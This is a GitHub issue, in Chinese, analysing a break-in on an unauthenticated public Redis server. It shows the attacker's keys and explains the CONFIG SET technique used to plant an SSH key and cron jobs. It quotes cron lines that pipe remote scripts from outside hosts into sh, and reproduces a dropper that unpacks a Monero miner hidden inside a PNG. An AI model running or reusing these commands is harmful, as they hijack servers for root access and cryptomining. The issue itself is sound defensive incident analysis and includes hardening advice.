Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

关于 Redis 安全的问题 #3

Open
impasse opened this issue Nov 22, 2016 · 2 comments
Open

关于 Redis 安全的问题 #3

impasse opened this issue Nov 22, 2016 · 2 comments
Labels

Comments

@impasse
Copy link
Owner

impasse commented Nov 22, 2016

之前为了方便存一些数据,我在自己 vps 上开了一个公网可以访问的 redis 服务,没有设置密码。今天突然奇想,看了看上面有什么。结果看到了某些不太好的东西。

127.0.0.1:6379> keys *
1) "f17cc4f5e5"
2) "crackit"
3) "7cc4f5e5"
127.0.0.1:6379> 

有 3 条数据,2 个乱码名字,先看看正常点的名字crackit:

127.0.0.1:6379> get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cGu3SeRUbTfPVGWZw9hRod+HWik+Ca8Mj0Flxwb2iU2MIOTRLyuB29ZwkgB4WpPEWD3NReSIo1cIYhuAKtVNGF6WgxnsAs++lcbkNGFDXPuhRHkPiiz11ipWtk7xUF3rkVGvbaBO4gNFGSmZ8fvJdqquXM/EtEySURswo1bT5uWsE0TU2Bolw0XbeIPe99Uuw9bTOYP3UvCw2abvOWsRmm5mZAl/mosgDq1NQux0XdO6oT9QTk2ID4pbza8AcTqGFE4rQcOxF/YCpPDwd4lRxmSWl8WmbAWRDolJLxQFuIMZt7sg+yvGj7Z6+ils7/qLvcZx6A5E21Ldcg3UXrKp root@niuoh\n\n\n\n"
127.0.0.1:6379> 

吖咯,看到了某某人的 ssh public key呢。

这是一种破解 redis 宿主机 ssh 权限的方法:

  1. 使用 config set dir /root/.ssh/ # 将 redis 目录设置为 /root/.ssh
  2. config set dbfilename "authorized_keys" # 将 redis 数据库文件设置为 authorized_keys
  3. set 上面的字符串,写于到 2 中的文件

这样就把攻击者的公钥写到了 /root/.ssh 目录的 authorized_keys 文件,进而获得了 ssh 到 root的权限。有个问题是假如宿主机 root 用户没有 .ssh 目录时,这个方式会失败。(未实验)

这个主机名让我查到了人哦。


看看下一个:

127.0.0.1:6379> get f17cc4f5e5
"\n\n*/1 * * * * curl http://104.223.133.27/1 | sh\n\n"
127.0.0.1:6379> 

从前面的 */1 * * * * 来看应该是 cron job,这个其实和上面差不多,还是利用了 config set dir|dbfilename 将内容写入到了/var/spool/cron/root文件,这样在定时任务执行时就能做各种shell里能做的事情了。
可惜这个 IP 也不能访问,whois 也查不出个所以然。


最后一个

127.0.0.1:6379> get 7cc4f5e5
"\n\n*/1 * * * * curl https://cdn.rawgit.com/hextrip/hextripgo/master/install | sh;\n\n"
127.0.0.1:6379> 

这个和上一个是同一个套路,不过这个能直接看到 shellcode 的内容:

#!/bin/sh
ps -fe|grep syslogdaemon |grep -v grep
if [ $? -ne 0 ]
then
nohup /tmp/syslogdaemon -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4 -p x &
if [ ! -f /tmp/syslogdaemon ]
then
curl https://ooo.0o0.ooo/2016/11/27/583a97938c4f9.png|dd of=/tmp/syslogdaemon skip=7664 bs=1;chmod +x /tmp/syslogdaemon
nohup /tmp/syslogdaemon -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4 -p x &
fi
else
echo "runing....."
fi

哎呀,中间那个ooo.0o0.ooo好眼熟啊,好像是 v2ex 上某个绿头像的人的站?这个人煞费心机把 ELF 接到 png 后面也是看得我一脸茫然,这是为了不暴露自己么,orz...

虽然说脚本的内容各不相同,但是利用的漏洞都是同一个。哎,我早早地就已经把 config 命令禁用了...

rename-command CONFIG ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command EVAL ""

也不知道 redis 还有木有其他不安全的地方=-=,没装 cronie , 不用 /root/.ssh 目录不知道会不会安全点。

@impasse impasse changed the title supervisor-systemd 关于 Redis 安全的问题 Nov 28, 2016
@impasse impasse added Linux and removed Python labels Nov 28, 2016
@Showfom
Copy link

Showfom commented Jan 4, 2017

ooo.0o0.ooo 是 我们的 sm.ms 图床的图片外链地址 公开服务 这图片里藏了东西?那我去删了去

@impasse
Copy link
Owner Author

impasse commented Jan 4, 2017

就是图片后面连着可执行的东西咯...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants